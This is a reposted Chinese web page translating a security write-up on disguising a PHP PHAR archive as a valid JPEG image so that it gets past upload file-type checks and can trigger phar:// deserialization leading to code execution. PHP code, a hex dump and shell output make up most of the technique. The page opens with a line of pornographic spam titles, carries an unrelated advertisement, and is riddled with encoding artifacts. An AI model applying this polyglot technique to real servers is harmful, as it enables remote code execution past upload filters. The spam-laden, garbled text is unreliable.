日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
如何將Phar文件包轉(zhuǎn)化成圖像從而繞過文件類型檢測

在美國舉辦的BlackHat 2018大會(huì)上,已經(jīng)有白帽黑客證明可以從PHAR包獲得RCE,而且,通過調(diào)整其二進(jìn)制內(nèi)容,可以將其偽裝成完整的有效圖像,繞過安全檢查。

成都創(chuàng)新互聯(lián)為客戶提供專業(yè)的做網(wǎng)站、網(wǎng)站制作、程序、域名、空間一條龍服務(wù),提供基于WEB的系統(tǒng)開發(fā). 服務(wù)項(xiàng)目涵蓋了網(wǎng)頁設(shè)計(jì)、網(wǎng)站程序開發(fā)、WEB系統(tǒng)開發(fā)、微信二次開發(fā)、成都做手機(jī)網(wǎng)站等網(wǎng)站方面業(yè)務(wù)。

背景

在美國舉辦的BlackHat 2018期間,來自英國網(wǎng)絡(luò)安全公司Secarma的研究總監(jiān)Sam Thomas召開了一個(gè)關(guān)于在PHP中利用phar://流包裝器(stream wrapper)在服務(wù)器上執(zhí)行代碼執(zhí)行的會(huì)議。

一個(gè)PHP應(yīng)用程序往往是由多個(gè)文件構(gòu)成的,如果能把他們集中為一個(gè)文件來分發(fā)和運(yùn)行是很方便的,這樣的列子有很多,比如在window操作系統(tǒng)上面的安裝程序、一個(gè)jquery庫等等,為了做到這點(diǎn)PHP采用了PHAR文檔文件格式,這個(gè)概念源自java的jar,但是在設(shè)計(jì)時(shí)主要針對(duì)PHP的Web環(huán)境,與JAR歸檔不同的是PHAR歸檔可由PHP本身處理,因此不需要使用額外的工具來創(chuàng)建或使用,使用PHP腳本就能創(chuàng)建或提取它。PHAR是一個(gè)合成詞,由PHP和Archive構(gòu)成,可以看出它是PHP歸檔文件的意思。

在執(zhí)行PHAR包時(shí),PHP將反序列化其內(nèi)容,允許攻擊者啟動(dòng)PHP對(duì)象包含鏈。其中最有趣的部分是如何觸發(fā)有效載荷,因?yàn)闅w檔上的任何文件操作都將執(zhí)行它。最后,不需要猜測正確的文件名,因?yàn)榧词故〉奈募{(diào)用也需要PHP來反序列化內(nèi)容。

另外,完全可以將PHAR包偽裝成100%有效的圖像。

在這篇文章中,我將介紹偽裝的詳細(xì)過程。

降級(jí)至字節(jié)碼級(jí)別

有時(shí)我們會(huì)忘記文件只是遵循預(yù)定義結(jié)構(gòu)的一堆字節(jié),但應(yīng)用程序?qū)z查它們是否能夠管理這樣的數(shù)據(jù)流,如果能,它們將生成一個(gè)輸出。

在演講中,Thomas給出了一個(gè)關(guān)于如何創(chuàng)建具有有效JPEG標(biāo)頭的PHAR包的提示。

按著提示,我們要做的是創(chuàng)建一個(gè)具有JPEG標(biāo)頭的文件,并相應(yīng)的更新PHAR校驗(yàn)和。通過這種方式,文件將被視為一個(gè)圖像,但PHP還能夠執(zhí)行它。

如果你認(rèn)為更改幾個(gè)字節(jié)并更新校驗(yàn)和就可以輕松完成操作,那你就想得太簡單了。

計(jì)算校驗(yàn)和(至少對(duì)我來說)是件痛苦的事情,然后我就想,如果我讓PHP為我做這些工作呢?

所以我改編了Thomas在演講中提到的做法,如下所示。

 
 
 
 
  1. $phar = new Phar("phar.phar");
  2. $phar->startBuffering();
  3. $phar->addFromString("test.txt","test");
  4. $phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
  5. $o = new TestObject();
  6. $phar->setMetadata($o);
  7. $phar->stopBuffering();

如你所見,我將原始HEX字節(jié)添加到PHAR歸檔的存根部分。以下就是原HEX結(jié)果:

 
 
 
 
  1. tampe125@AlphaCentauri:~$ xxd phar.jpeg 
  2. 00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f  ......xt __HALT_
  3. 00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a  COMPILER(); ?>..
  4. 00000020: 4c00 0000 0100 0000 1100 0000 0100 0000  L...............
  5. 00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374  ......O:10:"Test
  6. 00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000  Object":0:{}....
  7. 00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b  test.txt.....~z[
  8. 00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000  .....~..........
  9. 00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea  testo...}?..{.5.
  10. 00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42  ....r.&.....GBMB

它是一個(gè)有效的PHAR和JPEG圖像嗎?

 
 
 
 
  1. tampe125@AlphaCentauri:~$ file phar.jpeg 
  2. phar.jpeg: JPEG image data
  3. tampe125@AlphaCentauri:~$ php -a
  4. php > var_dump(mime_content_type('phar.jpeg'));
  5. php shell code:1:
  6. string(10) "image/jpeg"php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
  7. php shell code:1:
  8. bool(true)

PHP將其識(shí)別為圖像,但我仍然可以看到歸檔上的內(nèi)容。

請(qǐng)查看存根部分并注意它是如何缺少開始的PHP標(biāo)記的。這是大多數(shù)內(nèi)容掃描器都無法看到的關(guān)鍵內(nèi)容。要使歸檔有效,惟一需要的是__HALT_COMPILER()函數(shù),我認(rèn)為這被PHP用來表示它應(yīng)該跳過多少數(shù)據(jù)。

我有一個(gè)文件,它可以通過任何基于文件標(biāo)頭的檢查,然而任何比它更復(fù)雜的檢查都會(huì)失敗。例如,使用getimagesize檢查圖像將返回false,因?yàn)閳D像必定是偽造的。

 
 
 
 
  1. tampe125@AlphaCentauri:~$ php -a
  2. php > var_dump(getimagesize('phar.jpeg'));
  3. php shell code:1:
  4. bool(false)

解決圖像是偽造的問題?

但我看到我可以在__HALT_COMPILER()標(biāo)記之前插入我想要的任何亂碼,試想,如果我用它來制作完整的圖像,會(huì)怎么樣呢?

在花了太多時(shí)間來討論JPEG規(guī)范和閱讀PHP源代碼后,我認(rèn)為我可以簡單的使用GIMP創(chuàng)建10×10黑色圖像并嵌入其中。

 
 
 
 
  1. $jpeg_header_size = 
  2. "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13"."\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02"."\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15"."\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14"."\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01"."\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03"."\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11"."\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20"."\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda"."\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
  3. $phar = new Phar("phar.phar");
  4. $phar->startBuffering();
  5. $phar->addFromString("test.txt","test");
  6. $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
  7. $o = new TestObject();
  8. $phar->setMetadata($o);
  9. $phar->stopBuffering();

現(xiàn)在,檢查以下我的思考成果。

 
 
 
 
  1. tampe125@AlphaCentauri:~$ file phar.jpeg 
  2. phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3tampe125@AlphaCentauri:~$ php -a
  3. php > var_dump(mime_content_type('phar.jpeg'));
  4. php shell code:1:string(10) "image/jpeg"php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
  5. php shell code:1:bool(true)
  6. php > var_dump(getimagesize('phar.jpeg'));
  7. php shell code:1:
  8. array(7) {
  9.   [0] =>  int(10)
  10.   [1] =>  int(10)
  11.   [2] =>  int(2)
  12.   [3] =>  string(22) "width="10" height="10""
  13.   'bits' =>  int(8)  'channels' =>  int(3)  'mime' =>  string(10) "image/jpeg"}

果然,我的努力成功了。文件是一個(gè)PHAR包,包含了我想要利用的類,但它仍然是一個(gè)有效的映像(它甚至可以通過系統(tǒng)映像查看器打開)。

總結(jié)

正如大家剛剛看到的那樣,文件只是一堆字節(jié),如果我所做的唯一檢查是基于它們的元數(shù)據(jù),那必定會(huì)花太多時(shí)間來討論JPEG規(guī)范和閱讀PHP源代碼。最后,我發(fā)現(xiàn)利用核心函數(shù)來返回我想要的結(jié)果非常容易:唯一的解決方案就是真正讀取文件內(nèi)容并搜索惡意字符串。


本文名稱:如何將Phar文件包轉(zhuǎn)化成圖像從而繞過文件類型檢測
轉(zhuǎn)載源于:http://www.dlmjj.cn/article/cdohgoj.html